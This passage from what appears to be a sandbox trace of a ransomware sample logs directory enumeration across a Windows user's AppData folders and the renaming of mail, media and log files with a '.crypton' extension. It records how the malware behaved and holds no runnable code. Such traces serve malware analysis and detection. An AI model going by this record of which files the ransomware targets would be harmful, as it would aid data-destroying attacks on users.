nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0202.988] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf6598f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf6598f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0202.994] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\ERC\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf6598f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf6598f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0202.999] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WER\\ReportArchive\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf65bf060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf65bf060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0203.001] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WindowsUpdate.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\windowsupdate.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\WindowsUpdate.log.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\windowsupdate.log.crypton"), dwFlags=0x2) returned 1 [0203.008] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf65bf060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf65bf060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0203.012] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf65bf060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf65bf060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0203.017] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf65e51c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf65e51c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0203.321] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\edb00001.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\edb00001.log.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\edb00001.log.crypton"), dwFlags=0x2) returned 1 [0203.334] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.pat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.pat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.pat.crypton"), dwFlags=0x2) returned 1 [0204.108] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb.log.crypton"), dwFlags=0x2) returned 1 [0204.116] GetFileType (hFile=0x1a4) returned 0x1 [0204.450] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edb00001.log.crypton"), dwFlags=0x2) returned 1 [0204.454] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\oeold.xml.crypton"), dwFlags=0x2) returned 1 [0204.462] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7395040, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7395040, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0204.465] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg.crypton"), dwFlags=0x2) returned 1 [0204.481] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg.crypton"), dwFlags=0x2) returned 1 [0204.489] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.crypton"), dwFlags=0x2) returned 1 [0204.496] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg.crypton"), dwFlags=0x2) returned 1 [0204.503] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg.crypton"), dwFlags=0x2) returned 1 [0204.509] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.jpg.crypton"), dwFlags=0x2) returned 1 [0204.516] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg.crypton"), dwFlags=0x2) returned 1 [0204.522] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.crypton"), dwFlags=0x2) returned 1 [0204.531] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg.crypton"), dwFlags=0x2) returned 1 [0204.539] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg.crypton"), dwFlags=0x2) returned 1 [0204.541] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\windowsmail.pat.crypton"), dwFlags=0x2) returned 1 [0204.544] GetFileType (hFile=0x190) returned 0x1 [0204.549] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7479880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7479880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0204.550] GetFileType (hFile=0x1a4) returned 0x1 [0204.554] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf7479880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7479880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0204.556] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd.crypton"), dwFlags=0x2) returned 1 [0204.565] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml.crypton"), dwFlags=0x2) returned 1 [0204.566] GetFileType (hFile=0x190) returned 0x1 [0204.574] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf749f9e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf749f9e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0204.575] GetFileType (hFile=0x1a4) returned 0x1 [0204.581] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf74c5b40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf74c5b40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0204.582] GetFileType (hFile=0x1ac) returned 0x1 [0204.588] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xf74c5b40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf74c5b40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0204.589] GetFileType (hFile=0x1ac) returned 0x1 [0204.595] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf74ebca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf74ebca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0204.597] GetFileType (hFile=0x190) returned 0x1 [0204.603] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf74ebca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf74ebca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549850 [0204.604] GetFileType (hFile=0x1a4) returned 0x1 [0204.610] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7511e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7511e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549890 [0204.617] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7511e00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7511e00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0204.623] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7537f60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7537f60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549910 [0204.625] GetFileType (hFile=0x218) returned 0x1 [0204.630] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7537f60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7537f60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0204.631] GetFileType (hFile=0x210) returned 0x1 [0204.637] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf755e0c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf755e0c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0204.639] GetFileType (hFile=0x210) returned 0x1 [0204.644] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81eff750, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf755e0c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf755e0c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0204.648] GetFileType (hFile=0x218) returned 0x1 [0204.654] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\*", lpFindFileData=0x4a79d8 | out: lpFindFileData=0x4a79d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7584220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7584220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549950 [0204.655] GetFileType (hFile=0x210) returned 0x1 [0204.660] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7680bb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xf7584220, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xf7584220, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549990 [0204.662] GetFileType (hFile=0x210) returned 0x1 [0204.666] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\*", lpFindFileData=0x4a7030 | out: lpFindFileData=0x4a7030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826bbed0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xf7584220, ftLastAccessTime.dwHighDateTime=0x1d5c259, 